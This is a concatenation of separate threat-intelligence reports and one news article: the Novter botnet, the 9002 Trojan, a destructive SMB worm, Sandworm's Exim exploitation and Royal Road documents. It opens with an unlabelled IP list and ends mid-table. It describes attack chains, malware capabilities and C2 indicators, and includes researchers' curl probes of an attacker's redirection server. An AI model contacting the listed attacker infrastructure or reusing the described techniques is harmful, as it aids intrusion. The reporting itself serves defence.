105.108.239[.]60:443 - 196.64.227[.]5:8443 - 41.249.158[.]221:995 - 134.35.14[.]5:443 - 113.170.117[.]251:443 - 187.193.219[.]248:443 - 122.166.244[.]116:443 - 154.237.129[.]123:995 - 41.98.229[.]81:443 - 186.48.199[.]243:995 - 102.156.3[.]13:443 - 41.97.190[.]189:443 - 197.207.191[.]164:443 - 105.184.14[.]132:995 - 196.207.146[.]151:443 - 105.158.113[.]15:443 - 196.89.42[.]89:995 - 86.98.156[.]229:993 - 177.174.119[.]195:32101 - 81.156.194[.]147:2078 - 80.253.189[.]55:443 - 197.49.175[.]67:995 - 177.45.78[.]52:993 - 89.187.169[.]77:443 - 196.92.59[.]242:995 - 41.13.200[.]19:443 - 41.97.195[.]237:443 - 92.191.56[.]11:2222 - 154.70.53[.]202:443 - 210.186.37[.]98:50002
# New Fileless Botnet Novter Distributed by KovCoreG Malvertising Campaign **Posted on:** October 1, 2019 at 5:00 am **Posted in:** Bad Sites, Botnets, Malware **Author:** Trend Micro By Jaromir Horejsi and Joseph C. Chen (Threat Researchers) We found a new modular fileless botnet malware, which we named “Novter,” (also reported and known as “Nodersok” and “Divergent”) that the KovCoreG campaign has been distributing since March. We’ve been actively monitoring this threat since its emergence and early development, and saw it being frequently updated. KovCoreG, active since 2011, is a long-running campaign known for using the Kovter botnet malware, which was distributed mainly through malvertisements and exploit kits. Kovter has been involved in click fraud operations since 2015, using fraudulent ads that have reportedly cost businesses more than US$29 million. The botnet was taken down at the end of 2018 through concerted efforts by law enforcement and cybersecurity experts, including Trend Micro. The dismantlement hasn’t deterred the cybercriminals. Though the botnet is dead, we noticed that the KovCoreG campaign didn’t stop their activities and instead developed another botnet. Working with ProofPoint’s threat researcher Kafeine, we were able to uncover a new fileless botnet malware — Novter — being distributed by the operators of KovCoreG. While the malvertising attacks were originally focused on U.S.-based users, they have since expanded to several European countries starting this summer. Our telemetry also revealed that the malvertising attacks were being distributed through a few of the top 100 websites in the U.S., which were also abused by Kovter in their previous activities. Our analysis of Novter, particularly its most notable modules, are detailed in this technical brief. ## KovCoreG’s Attack Chain KovCoreG’s attacks are socially engineered malvertisements that lure unwitting users into downloading a software package needed to update their supposedly out-of-date Adobe Flash application. However, it instead drops a malicious HTML application (HTA) file named Player{timestamp}.hta. When the victim executes the HTA file, it will load additional scripts from a remote server (communication is RC4-encrypted) and run a PowerShell script that appears to take inspiration from the open-source Invoke-PSInject project. The PowerShell script, in turn, will disable Windows Defender and Windows Update processes. It runs a shellcode to bypass User Account Control (UAC) via the CMSTPLUA COM interface (related to connection management). The PowerShell script is also embedded with Novter, which will be executed filelessly via the PowerShell reflective injection technique. ## Analysis of the Novter Malware Novter is a backdoor in the form of an executable file. Immediately after its execution, it performs the following anti-debugging and anti-analysis checks: - Searching for blacklisted processes and modules by comparing the CRC32 algorithms of their names with a list of hardcoded CRC32s - Checking if the number of cores is too small - Checking if the process is being debugged - Checking if the Sleep function is being manipulated If it finds any of the aforementioned information, it is then reported to the C&C server. Note that it uses different sets of C&C servers for different purposes. One set, for instance, is solely used for anti-analysis reporting. After the affected machine’s environment is double-checked and reported, the malware goes to sleep for a long time. The backdoor commands that Novter supports are: - **killall** — Terminate a process and delete a file (for all modules) - **kill** — Terminate a process and delete a file (for a specific module) - **stop** — Terminate the process without deleting its file (for a specific module) - **resume** — Start a process (for a specific module) - **modules** — Download and execute an additional module - **update** — Download a new version and install the update - **update_interval** — Set an interval between two consecutive update attempts Novter communicates with its command-and-control (C&C) servers and downloads multiple JavaScript modules for different purposes. We have identified three Novter modules, which include: - A module that shows a technical support scam page on the victim’s machine - A module that abuses WinDivert (Windows packet divert, a tool that enables network packets sent to and from Windows network stacks to be captured, modified, or dropped) to block the communication from processes like those from antivirus (AV) software - A module (which we named “Nodster”) that is written with NodeJS and io for proxying network traffic. We consider it a module responsible for building the proxy network needed to support the click fraud operations. ## Analysis of Novter’s Module “Nodster” During our analysis of Novter, we came across three notable modules downloaded by the malware. One of them, which we named “Nodster,” is a network proxy module. The module installs NodeJS on the victim’s machine and executes a NodeJS script “app.js” in the background. The script will connect to an embedded C&C server address and receive the second C&C server address. It will then establish a backconnection to the second C&C server with the socket.io protocol. The second C&C server will return commands to instruct the module to make a TCP connection, send a TCP payload, and return the response from the server back to them. This turns the system infected with Novter into a proxy for the attacker to use. ## Correlating Nodster’s Traffic During the course of our research, we observed lots of encrypted traffic proxied through the Nodster module, but we managed to decrypt some of it, which showed scripts used for web advertising. This indicates that the C&C server instructed the infected machine to open a website with an embedded JavaScript code related to displaying advertisements. We also noticed that the ad traffic appeared to have been sent from Android devices, since the HTTP(S) requests transferred through the proxy had HTTP User-Agent headers from Android devices. These requests are appended with a “X-Requested-With” header with many Android app names. We inspected those apps on the Google Play store because we initially thought that the traffic could have been generated by these applications. However, we did not find any suspicious code in these applications that would have generated this traffic. We didn’t find any similar code shared between these Android applications either. With this finding, we inferred that the ad traffic was not coming from the mobile devices, but was instead being generated by the attacker. The attacker disguised the traffic to appear as if it was being sent from Android devices and mobile applications and proxied them through the Novter/Nodster botnet. After all, KovCoreG’s operations involved click fraud. ## Defending Against Novter Advertisements are an innocuous online staple, but KovCoreG’s campaign demonstrates how they can be intrusive, not to mention how Novter can expose the user’s system to other and actual threats. Given how KovCoreG engages in click fraud, it can significantly affect businesses. A single mobile ad fraud incident in 2018, for instance, cost Google and its partners around US$10 million in losses. Novter also exemplifies fraudsters’ maturing techniques with its use of fileless infection methods and obfuscating its C&C connections and fraud-related traffic. Users, for their part, should adopt best practices, especially against socially engineered threats like malvertisements. Trend Micro endpoint solutions, such as the Smart Protection Suites and Worry-Free Business Security that have behavior monitoring capabilities, can protect users and businesses from threats like Emotet by detecting malicious files, scripts, and messages as well as blocking all related malicious URLs. Trend Micro Apex One™ protection employs a variety of threat detection capabilities such as behavioral analysis, which protect against malicious scripts, injection, ransomware, memory, and browser attacks. The full details of our research on Novter are in this technical brief, while the indicators of compromise (IoCs) are in this appendix. With additional analysis from Ecular Xu. Hat tip to ProofPoint’s researcher Kafeine whom we worked with in this research.
# Botnet Encyclopedia Get in-depth analyses of attack campaigns captured by Guardicore Global Sensors Network (GGSN). Learn about each botnet’s scope, its associated indicators of compromise (IOCs), and the attack flow. ## MoneroSsh ## 911 A long-running campaign in which a Mirai-variant named “Sora” is deployed. The malware scans for additional victims over Telnet port 23. ## GhOul This Telnet DDoS campaign is targeting SSH servers and has been active since February 2020. ## PLEASE_READ_ME_VVV This campaign, unlike many others, is not a cryptomining botnet. Here, the attackers compromise victim machines using MySQL brute force. ## Smominru The Smominru botnet and its variants MyKings and Hexmen managed to infect thousands of MS-SQL machines on a daily basis. ## PLEASE_READ_ME PLEASE_READ_ME_VVV is a mass-scale ransom attack, in which the attackers choose to leave the ransom note within MySQL database tables. We strive for cooperation with the cyber threat intelligence community and welcome any contribution, question, and suggestion.
# Attack Delivers ‘9002’ Trojan Through Google Drive By Robert Falcone and Jen Miller-Osborn July 26, 2016 Unit 42 recently observed a 9002 Trojan delivered using a combination of shortened links and a shared file hosted on Google Drive. The delivery method also uses an actor-controlled server hosting a custom redirection script to track successful clicks by targeted email addresses. The infrastructure associated with this 9002 Trojan sample was also found to have previous ties to attacks on Myanmar and other Asian countries that used Poison Ivy as the payload, including a recent, and possibly ongoing campaign against Taiwan. Short but sweet… While we do not have specific telemetry on the attack at this time, we believe the attack relies on a shortened link (in this case using the URL shortening service TinyURL) to deliver the 9002 payload. The shortened URL is as follows: `hxxp://tinyurl[.]com/zmu4dry` This shortened link redirects to an actor-controlled server that we refer to as a redirection server, as it hosts a script responsible for redirecting the browser to another location. The shortened link above points to: `hxxp://222.239.91[.]152?<redacted>QGdtYWlsLmNvbWh0dHA6Ly90aW55dXJsLmNvbS9qZmo5b3V2` The URL above contains base64 encoded data, which we believe will then be decoded by the server. The base64 encoded parameter in the URL redirect decodes to: `<redacted>@gmail.comhttp://tinyurl[.]com/jfj9ouv` The Gmail address in the decoded data is the legitimate address of a well-known politician and human rights activist in Myanmar. The shortened URL within the decoded data, specifically `hxxp://tinyurl[.]com/jfj9ouv`, again redirects to: `hxxps://drive.google[.]com/uc?id=0B0eVt8dSXzFuN2ltVlVkVl8zNVU&authuser=0&export=download` ## Actor’s Redirection Server The server with an IP address of `222.239.91[.]152` appears to run a script that parses parameters from inbound HTTP requests. To better determine the script’s functionality, we issued a series of HTTP requests to the redirection server to figure out the purpose of the base64 encoded data within the URL and to determine the strings that the script uses to redirect the browser. Our initial HTTP request involved the URL pointed to by the initial shortened link associated with this attack. As seen from the HTTP response, the script issued an HTTP 302 Moved Temporarily response to relocate the browser to the URL in the “Location” field, which is the same URL from the decoded base64 data sent in the HTTP request. ``` $ curl -i -A "Mozzarella/4.0" 222.239.91[.]152? <redacted>QGdtYWlsLmNvbWh0dHA6Ly90aW55dXJsLmNvbS9qZmo5b3V2 HTTP/1.1 302 Moved Temporarily Connection: close Content-Length: 0 Date: Mon, 18 Jul 2016 16:25:28 GMT Location: http://tinyurl[.]com/jfj9ouv ``` The second test HTTP request we issued used the base64 encoded data for the string `[email protected]://yahoo.com`, which would redirect the browser to `http://yahoo.com` via an HTTP 302 response. This suggests that the email string is not used for any sort of authentication for the inbound request, and instead is possibly used by the threat actors to track successful clicks by a targeted email. ``` $ curl -i -A "Mozzarella/4.0" http://222.239.91[.]152/? ZmFrZUBnbWFpbC5jb21odHRwOi8veWFob28uY29t HTTP/1.1 302 Moved Temporarily Connection: close Content-Length: 0 Date: Mon, 18 Jul 2016 17:10:33 GMT Location: http://yahoo.com ``` We issued an HTTP request using the base64 encoded data for the string `[email protected]`. The server responded with an HTTP 200 OK response that attempts to resemble an HTTP 403 Forbidden response, by writing “403 Forbidden” to the browser window. This error suggests that the redirection script on the server parses the base64 decoded data for the string “http” to determine the redirection location. ``` $ curl -i -A "Mozzarella/4.0" http://222.239.91[.]152/? ZmFrZUBnbWFpbC5jb215YWhvby5jb20 HTTP/1.1 200 OK Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 89 Date: Mon, 18 Jul 2016 17:11:10 GMT <html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1></body></html> ``` We ran subsequent test requests to find additional strings that the script would check for within the base64 decoded data, which it uses to determine the location it should redirect the browser. We found that the script also supports redirection to URLs that begin with “https”. Also, the script is case sensitive, as requests for URLs with “HTTP” and “HTTPS” resulted in the same 403 Forbidden response. Lastly, we determined that the script does not require the “://” characters after “http” and “https”. ## Trojan from the Cloud In the delivery of this attack, the shortened link that the redirection server redirects to points to a Zip file hosted on Google Drive. The Zip file has a filename of “2nd Myanmar Industrial Human Resource Development Symposium.zip” (SHA256: c11b963e2df167766e32b14fb05fd71409092092db93b310a953e1d0e9ec9bc3) and contains one executable that was added on July 13, 2016. The executable within this Zip archive has a filename “2nd Myanmar Industrial Human Resource Development Symposium.exe” (SHA256: 49ac6a6c5449396b98a89709b0ad21d078af783ec8f1cd32c1c8b5ae71bec129). It is a dropper Trojan that saves a decoy and a payload to the system then opens both. The executable uses the PowerPoint icon to trick the victim into launching the executable by making the user think the file is a PowerPoint presentation. The decoy is a PowerPoint presentation that contains details of a conference in Myanmar held on July 30, 2016, titled “Role of JMVTI Aung San and Building of Clean and Safe Automobile Society”. The Japan Myanmar Vocational Training Institute (JMVTI) Aung San is a forthcoming vocational training center established by the Asia Environmental Technology Promotion Institute under Myanmar's Ministry of Science and Technology. In regards to the payload, the dropper creates a randomly named folder within the current user’s folder (%USERPROFILE%), which it uses to store the following files: - RealNetwork.exe (SHA256: 10d40c51d85ea9ced6050b8951802aaebe81f7db13f42fe5a5589172af481a7e) - main.dll (SHA256: 53671fe98a0c8c85f6f8eabfa851e27b437f6c392b46e42ddea3f0a656591b12) - mpaplugins\MPAMedia.dll (SHA256: f76f639f2a7b8f39abf83737c6d3e533be66398c85ec95526e4b13561e15fbae) The 'RealNetwork.exe' file is a legitimate executable signed to 'RealNetworks, Inc.' that loads 'mpaplugins\MPAMedia.dll' to call a function named 'BuildDeviceDatabase'. The threat actors leverage the legitimate executable to sideload a DLL they created by saving the 'mpaplugins\MPAMedia.dll' to the randomly named folder created by the dropper. The sideloaded 'MPAMedia.dll' DLL first checks to make sure the system time is greater than May 20, 2016 as a likely attempt for sandbox evasion. It will then load the 'main.dll' file initially saved to the randomly named folder created by the dropper. The overall loading process of this Trojan can be seen in the following overview. The ‘MPAMedia.dll” DLL calls exported functions named "stdInstall" and "CreateFunc" from within ‘main.dll’. The 'stdInstall' function is responsible for creating the following autorun registry key for persistence purposes: `Software\Microsoft\Windows\CurrentVersion\Run\RealNetwork` The 'CreateFunc' exported function returns the offset within the 'main.dll' file to shellcode that contains 9002 Trojan's actual functional code, which 'MPAMedia.dll' DLL will then create a thread to execute the Trojan. The 9002 Trojan creates two mutexes during its execution: F16ME and widfasdf. It also creates the following registry key that it uses to store the path to the user's folder (%USERPROFILE%): `HKCU\Software\Microsoft\F6\uid` The Trojan uses the path stored in this registry key to locate its configuration, which it decrypts using a multiple-byte XOR algorithm and a key of “1pKFmjw”. Using the configuration file above, the 9002 Trojan communicates with the following domain that acts as its command and control (C2) server: `logitechwkgame[.]com` The Trojan sends network beacons to its C2 server using two different methods. The first method uses a custom protocol on TCP port 80 that begins with the string ‘9002’, which is the basis of the tool’s name. If the C2 server responds, the Trojan will send system specific information along with the strings “jackhex” and “2016” from the configuration file. "jackhex" has also been seen in a C2 for what is likely related Poison Ivy activity. The second beacon method also uses TCP port 80, but this method uses HTTP requests to communicate with its C2 server. The sample HTTP request issued by this Trojan has a user-agent of “lynx” and POST data of “AA” that are both hardcoded into the payload. The two beacons generated by this payload are very similar to those generated by the ‘3102’ variant of 9002 that we previously analyzed. The capabilities within this 9002 sample are very similar to the 3102 variant discussed, as its main functionality is to load plugins provided by the C2 server and call an exported function named “CreatePluginObj”. ## Infrastructure and Poison Ivy Ties The C2 server `logitechwkgame[.]com` resolves to the IP address '222.239.91[.]30', which also resolved to 'admin.nslookupdns[.]com' at the same time, suggesting that these two domains are associated with the same threat actors. 'admin.nslookupdns[.]com' was found to also be a C2 for Poison Ivy samples associated with attacks on Myanmar and other Asian countries. An additional tie between the activity is the Poison Ivy C2 `jackhex.md5c[.]net`, as "jackhex" is not a common word or phrase and is also seen in the beacon activity with the previously discussed 9002 sample. In addition to those noted in the blog by Arbor Networks, we found several other Poison Ivy samples using the same mutex, created by the same parent processes, and using most of the same C2 infrastructure. However, the samples we collected lack campaign IDs and all use "version2013" as the password to encrypt its communications. The additional Poison Ivy samples also provided us three new C2 domains: - `outhmail[.]com` - `mxdnsv6[.]com` - `microsoftserve[.]com` Also, some of the C2 domains associated with these Poison Ivy samples were registered with emails that were used to register the following possibly related domains: - `gooledriveservice[.]com` - `queryurl[.]com` - `appupdatemoremagic[.]com` While we do not have complete targeting information associated with these samples, several of the decoy files were in Chinese and appear to be part of a recent and possibly ongoing campaign targeting organizations in Taiwan. The decoy themes centered primarily around cross-strait relations and the Taiwanese Mainland Affairs Council (MAC), which is a cabinet-level organization tasked with creating, implementing, and overseeing policies between Taiwan and the People's Republic of China (PRC). ## Conclusion The use of Google Drive to host malicious files is not a new tactic in attacks. However, using a well-known hosting platform may allow the downloading of a payload to blend into other legitimate traffic from the hosting provider. The actors still use spear phishing as their primary attack method, but because that technique has been so well publicized, intended victims are perhaps more cautious about opening suspicious email attachments or links. As spear phishing becomes less successful, threat actors need to continue to adapt and find new methods to successfully deliver malware. The use of a URL shortening service and a redirection server further aids the chances of a successful attack, as it becomes more challenging to determine the validity of the link within an email due to the way link shorteners obfuscate link content. The files used in these attacks are properly classified as malware by WildFire. AutoFocus customers can find out more about both 9002 and Poison Ivy via the respective malware family tags. ## IOCs **9002 samples** c11b963e2df167766e32b14fb05fd71409092092db93b310a953e1d0e9ec9bc3 49ac6a6c5449396b98a89709b0ad21d078af783ec8f1cd32c1c8b5ae71bec129 **Poison Ivy samples** 193ae4da14874aa29902052d08064395afa5e4763f949e7369157d893fa08653 ac8fc264c7ec3cf70836e1bb21f9a20174b04ad49731b8797d7d8bb95cb353e2 12759f7fd01ffdea97954be5404d7e43a3941a7388129e7b6ace85f56b500cd8 0940602e7d47941f36c975afa9d2c6b1b0d2bd15bbea6ad4baf0f828420d72bf 6bdd45cb6c021512c203cf01a051dce28449e364627e1366412c0051094f60a0 f0ab826ea65b4a9eb66528ad74c4d3e747c1ecebfca6bdafd2504e0f794195d9 e2fb4a53e54774f1645c940f905e76beb5fc729e9e968b736b8377312cb2454a 0af768b4ba8fe7aac7a7da7fd5f21e7496d5617dccdf2321f526fd1091d64a6d fd21cd1846f25d42b1997ec1fd5ae6e14ea9b5bb0161ab7edf0ce184174e6da6 12759f7fd01ffdea97954be5404d7e43a3941a7388129e7b6ace85f56b500cd8 08dee1f5ced372716ad5c6e3f2041bcdeb25e905efc19d3749fe637d0a589ccc 269c03e205c403ab8fa1033caa1c8e3a86a1495cc33a7f3a3a3c9b8a9ea77490 3a9ab623c8a0a9f6c65e108e83c90da7620d2d6b22192c857556117587d0d038 **C2 Domains** logitechwkgame[.]com jackhex.md5c[.]net webserver.servehttp[.]com admin.nslookupdns[.]com outhmail[.]com mxdnsv6[.]com microsoftdefence[.]com microsoftserve[.]com gooledriveservice[.]com queryurl[.]com appupdatemoremagic[.]com
# Targeted Destructive Malware ## Systems Affected Microsoft Windows ## Overview US-CERT was recently notified by a trusted third party of cyber threat actors using a Server Message Block (SMB) Worm Tool to conduct cyber exploitation activities targeting a major entertainment company. This SMB Worm Tool is equipped with a Listening Implant, Lightweight Backdoor, Proxy Tool, Destructive Hard Drive Tool, and Destructive Target Cleaning Tool. ### SMB Worm Tool This worm uses a brute force authentication attack to propagate via Windows SMB shares. It connects home every five minutes to send log data back to command and control (C2) infrastructure if it has successfully spread to other Windows hosts via SMB port 445. The tool also accepts new scan tasking when it connects to C2. There are two main threads: the first thread calls home and sends back logs (a list of successful SMB exploitations), and the second thread attempts to guess passwords for SMB connections. If the password is correctly guessed, a file share is established and a file is copied and run on the newly-infected host. ### Listening Implant During installation of this tool, a portion of the binaries is decrypted using AES, with a key derived from the phrase "National Football League." This implant listens for connections on TCP port 195 (for "sensvc.exe" and "msensvc.exe") and TCP port 444 (for "netcfg.dll"). Each message sent to and from this implant is preceded with its length, then XOR encoded with the byte 0x1F. Upon initial connection, the victim sends the string, "HTTP/1.1 GET /dns?\x00." The controller then responds with the string "200 www.yahoo.com!\x00" (for "sensvc.exe" and "msensvc.exe") or with the string "RESPONSE 200 OK!!" (for "netcfg.dll"). The controller sends the byte "!" (0x21) to end the network connection. This special message is not preceded with a length or XOR encoded. ### Lightweight Backdoor This is a backdoor listener designed as a service DLL. It includes functionality such as file transfer, system survey, process manipulation, file time matching, and proxy capability. The listener can also perform arbitrary code execution and execute commands on the command line. This tool includes functionality to open ports in a victim host's firewall and take advantage of universal Plug and Play (UPNP) mechanisms to discover routers and gateway devices, and add port mappings, allowing inbound connections to victim hosts on Network Address Translated (NAT) private networks. There are no callback domains associated with this malware since connections are inbound only on a specified port number. ### Proxy Tool Implants in this malware family are typically loaded via a dropper installed as a service, then configured to listen on TCP port 443. The implant may have an associated configuration file which can contain a configurable port. This proxy tool has basic backdoor functionality, including the ability to fingerprint the victim machine, run remote commands, perform directory listings, perform process listings, and transfer files. ### Destructive Hard Drive Tool This tool is a tailored hard-drive wiping tool intended to destroy data past the point of recovery and to complicate the victim machine’s recovery. If the CNE operator has administrator-level privileges on the host, the program will overwrite portions of up to the first four physical drives attached and overwrite the master boot record (MBR) with a program designed to cause further damage if the hard drive is rebooted. This results in the victim machine being non-operational with irrecoverable data. If the actor has user-level access, specific files may be deleted and become practically irrecoverable, but the victim machine would remain usable. ### Destructive Target Cleaning Tool This tool renders victim machines inoperable by overwriting the Master Boot Record. The tool is dropped and installed by another executable and consists of three parts: an executable and a DLL which contain the destructive components, and an encoded command file that contains the actual destruction commands to be executed. ### Network Propagation Wiper The malware has the ability to propagate throughout the target network via built-in Windows shares. Based on the username/password provided in the configuration file and the hostname/IP address of target systems, the malware will access remote network shares to upload a copy of the wiper and begin the wiping process on these remote systems. The malware uses several methods to access shares on the remote systems to begin wiping files. ## Impact Due to the highly destructive functionality of this malware, an organization infected could experience operational impacts including loss of intellectual property and disruption of critical systems. ## Solution Users and administrators are recommended to take the following preventive measures to protect their computer networks: - Use and maintain anti-virus software. - Keep your operating system and application software up-to-date. - Review Security Tip Handling Destructive Malware #ST13-003 and evaluate their capabilities encompassing planning, preparation, detection, and response for such an event. - Review Recommended Practices for Control Systems, and Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies. ## Indicators of Compromise (IOCs) ### Import Hashes **SMB Worm Tool:** - Import hash: f6f48551d7723d87daeef2e840ae008f - Import hash: 194ae075bf53aa4c83e175d4fa1b9d89 **Lightweight Backdoor:** - Import hash: f57e6156907dc0f6f4c9e2c5a792df48 - Import hash: 838e57492f632da79dcd5aa47b23f8a9 **Proxy Tool:** - Import hash: 734740b16053ccc555686814a93dfbeb - Import hash: 3b9da603992d8001c1322474aac25f87 **Destructive Hard Drive Tool:** - Import hash: 8dec36d7f5e6cbd5e06775771351c54e ## Recommended Security Practices - Implement the indicators of compromise within your systems for detection and mitigation purposes. - Encourage users to transfer critical files to network shares for central backup. - Execute daily backups of all critical systems. - Periodically execute an “offline” backup of critical files to removable media. - Establish emergency communications plans should network resources become unavailable. - Isolate any critical networks from business systems. - Ensure antivirus is up to date. - Disable credential caching for all desktop devices. - Disable AutoRun and Autoplay for any removable media device. - Prevent or limit the use of all removable media devices on systems. - Consider restricting account privileges. - Ensure that password policy rules are enforced and Admin password values are changed periodically. - Monitor logs and maintain a centralized logging solution. - Ensure that all network operating systems, web browsers, and other related network hardware and software remain updated with all current patches and fixes.
# NSA: Russia's Sandworm Hackers Have Hijacked Mail Servers A warning that hackers are exploiting vulnerable email servers doesn't qualify as an unusual event in general. But when that warning comes from the National Security Agency, and the hackers are some of the most dangerous state-sponsored agents in the world, run-of-the-mill email server hacking becomes significantly more alarming. On Thursday, the NSA issued an advisory that the Russian hacker group known as Sandworm, a unit of the GRU military intelligence agency, has been actively exploiting a known vulnerability in Exim, a commonly used mail transfer agent—an alternative to bigger players like Exchange and Sendmail—running on email servers around the world. The agency warns that Sandworm has been exploiting vulnerable Exim mail servers since at least August 2019, using the hacked servers as an initial infection point on target systems and likely pivoting to other parts of the victim's network. And while the NSA hasn't said who those targets have been, or how many there are, Sandworm's history as one of the most aggressive and destructive hacking organizations in the world makes any new activity from the group worth noting. "We still consider this to be one of the most, if not the most aggressive and potentially dangerous actor that we track," says John Hultquist, the director of intelligence at FireEye, who also led a team at iSight Partners when that company first discovered and named Sandworm in 2014. Hultquist notes that Sandworm, whose identity as Unit 74455 of the GRU was confirmed for the first time by the US and UK governments in February, was responsible for blackout-inducing cyberattacks in Ukraine in 2015 and 2016, the NotPetya worm that inflicted an unprecedented $10 billion in damage globally in 2017, and also the attacks on multiple US state election boards in 2016 that represented one element of Russia's meddling in the presidential election that year. "The election is right around the corner, and this is an actor that was involved in the 2016 incidents. We’re very concerned they’ll be involved again in this election," says Hultquist. "This is an actor that’s been involved in election-related hacking in the past and the most important, destructive attack in history. Any development involving them is worth watching." According to the NSA, Sandworm has used a vulnerability in the mail transfer agent Exim, revealed in June of last year, that allows an attacker to merely send a malicious email to the server and immediately gain the ability to run code on the server remotely. In its intrusions, the NSA warns, Sandworm has used that foothold to add its own privileged users to the server, disable network security settings, update secure shell configurations to give its hackers more remote access, and run a script on the server to enable further steps to exploiting the target network. It's not clear from the advisory what Sandworm's motivation may be in its mail server attacks—whether the ultimate intention of the hackers has been espionage, the sort of hacking-and-leaking operation the GRU carried out in 2016, or reconnaissance for the sort of sabotage attacks it has used against everyone from Ukrainian government agencies and utilities to the 2018 Olympics. But Jake Williams, a former NSA hacker and founder of the security firm Rendition Infosec, says that a vulnerable mail server represents a powerful pivot point for hackers, since it's both exposed to the internet and can allow them to dig deeper into the network once the server is compromised. "Once you’re inside the perimeter, it can talk to everything," Williams adds. A hacked mail server can also intercept all incoming mail, and in some cases allow hackers to dig through historical mail archives as well: "From an attacker standpoint, it puts you in a very good position in the network to cause all kinds of mischief." Williams also says that despite the vulnerability having been patched last summer, he's found in his own security assessments that mail transfer agents often lack updates, in part because administrators are reluctant to take email systems offline to patch them: "We see a lot of patching deficit in mail servers." What's more, Williams recalls noting at the time the Exim bug was exposed that it represented a particularly tempting vulnerability for intruders. “This vulnerability is absolutely trivial to exploit,” he says. The NSA recommends that administrators patch their Exim software immediately, comb their traffic logs for signs of exploitation, and segment their networks to make it harder for intruders to exploit their initial compromise of a mail server. But the naming of Sandworm specifically as the group exploiting the Exim bug may also be part of a larger effort to call out and deter the GRU's wanton hacking activities. In February, the US State Department and the UK's National Cybersecurity Center jointly condemned Sandworm's cyberattacks on the country of Georgia that took down thousands of websites, as well as TV broadcasters last fall. Those statements also represented the first government confirmation of Sandworm's identity as Unit 74455 of the GRU, a part of its Main Center for Special Technologies, or GTsST. "They've shown a repeated willingness to flout international norms, and they’ve been involved in some of the most effective attacks in history," says FireEye's Hultquist. If the West hopes to hold Russia to those norms ahead of the 2020 election, among other potential targets, better perhaps to call out a rash of mail server hacking now than to wait for an October surprise.
# Targets of Interest: Russian Organizations Increasingly Under Attack By Chinese APTs **Tom Hegel** ## Executive Summary SentinelLabs has identified a new cluster of threat activity targeting Russian organizations. We assess with high confidence that the threat actor responsible for the attacks is a Chinese state-sponsored cyber espionage group, as also recently noted by Ukraine CERT (CERT-UA). The attacks use phishing emails to deliver Office documents to exploit targets in order to deliver their RAT of choice, most commonly Bisonal. SentinelLabs has also identified associated activity targeting telecommunication organizations in Pakistan leveraging similar attack techniques. ## Overview On June 22nd, 2022, CERT-UA publicly released Alert #4860, which contains a collection of documents built with the Royal Road malicious document builder, themed around Russian government interests. SentinelLabs has conducted further analysis of CERT-UA’s findings and has identified supplemental Chinese threat activity. China’s recent intelligence objectives against Russia can be observed in multiple campaigns following the invasion of Ukraine, such as Scarab, Mustang Panda, ‘Space Pirates’, and now the findings here. Our analysis indicates this is a separate Chinese campaign, but specific actor attribution is unclear at this time. While the overlap of publicly reported actor names inevitably muddies the picture, it remains clear that the Chinese intelligence apparatus is targeting a wide range of Russian-linked organizations. Our findings currently offer only an incomplete picture of this threat cluster’s phishing activity, but they serve to provide perspective into an attacker’s ongoing operational objectives and a framework for our ongoing research. ## Malicious Documents Targeting Russia On June 22nd, Ukraine’s CERT-UA reported several RTF documents containing malicious code exploiting one or more vulnerabilities in MS Office. CERT-UA assessed that the documents, “Vnimaniyu.doc”, “17.06.2022_Protokol_MRG_Podgruppa_IB.doc”, and “remarks table 20.06.2022_obraza”, were likely built with the Royal Road builder and dropped the Bisonal backdoor. Royal Road is a malicious document builder used widely by Chinese APT groups, while Bisonal is a backdoor RAT unique to Chinese threat actors. The CERT-UA advisory followed public reporting by our colleagues from nao_sec and Malwarebytes, who identified some of the first indicators and shared related samples and C2 servers. Building off this initial intelligence, SentinelLabs discovered a further related cluster of activity. ## Timeline of Royal Road Malicious Documents As we have observed over the years, Royal Road documents follow content themes relevant to their targets. Following that practice, it’s reasonable to assume that the targets in this recent cluster of activity are likely Russian government organizations. One example of this cluster (f599ed4ecb6c61ef2f2692d1a083e3bb040f95e6) is a fake document mimicking a RU-CERT memo on increased phishing attacks. Another example is themed around telecommunication organizations (415ce2db3957294d73fa832ed844940735120bae). The example documents shown above both exploit CVE-2018-0798, a remote execution vulnerability in Microsoft Office to install the embedded malware. ## Attribution to Chinese Threat Groups The collection of files and infrastructure noted above could be considered related to the Tonto Team APT group (aka “CactusPete”, “Earth Akhlut”), a Chinese threat group that has been reported on for nearly ten years. However, we assess that link with only medium confidence due to the potential for shared attacker resources that could muddy attribution based on the currently available data. Known targets span the globe, with a particular interest in Northeast Asia, including governments, critical infrastructure, and other private businesses. The attacker continues their long history of Russian targeting; however, the rate of Russian and Russia-relevant targets in recent weeks may indicate increased prioritization. There are multiple connections of this activity to Chinese threat actors. As noted above, the documents are built with a commonly known malicious document builder used widely by Chinese APT groups, the shared toolkit often referred to as the “Royal Road” or the “8.t” builder. These documents often contain metadata indicating the document creator’s operating system was using simplified Chinese, a trait we observed in our previous analysis of Scarab APT activity. The malicious documents are generally used for the delivery of custom malware, such as the Bisonal RAT, which as noted by CERT-UA, is unique to Chinese groups, including Tonto Team. Bisonal has a uniquely long history of use and continued development by its creators, such as expanding features for file searching and exfiltration, anti-analysis and detection techniques, and maintaining generally unrestricted system control. Additionally, the collection of C2 infrastructure associated with these various samples fall under a larger umbrella of known Chinese APT activity. ## Related Activity of Interest It’s also worth noting that there are still ongoing related attacks focused on non-Russian organizations, such as those against Pakistan. For example, one file uploaded to VirusTotal (91ca78231bcacab0d5e6194041817b96252e65bf) from Pakistan is a May 2022 email message file to the Pakistan Telecommunication Authority, sent from a potentially compromised account in the Cabinet Division of the Pakistani government. This email contains the Royal Road attachment “Please help to Check.doc” (f444ff2386cd3ada204c3224463f4be310e5554a), dropping 85fac143c52e26c22562b0aaa80ffe649640bd29 and beaconing outbound to instructor.giize[.]com (198.13.56[.]122). ## Conclusion We assess with high confidence that the Royal Road-built malicious documents, delivered malware, and associated infrastructure are attributable to Chinese threat actors. Based on our observations, there’s been a continued effort to target Russian organizations by this cluster through well-known attack methods– the use of malicious documents exploiting n-day vulnerabilities with lures specifically relevant to Russian organizations. Overall, the objectives of these attacks appear espionage-related, but the broader context remains unavailable from our standpoint of external visibility. ## Indicators of Compromise | IOC | Description | | --- | --- | | f599ed4ecb6c61ef2f2692d1a083e3bb040f95e6 | 6/21/2022 Royal Road Document “Вниманию.doc” | | 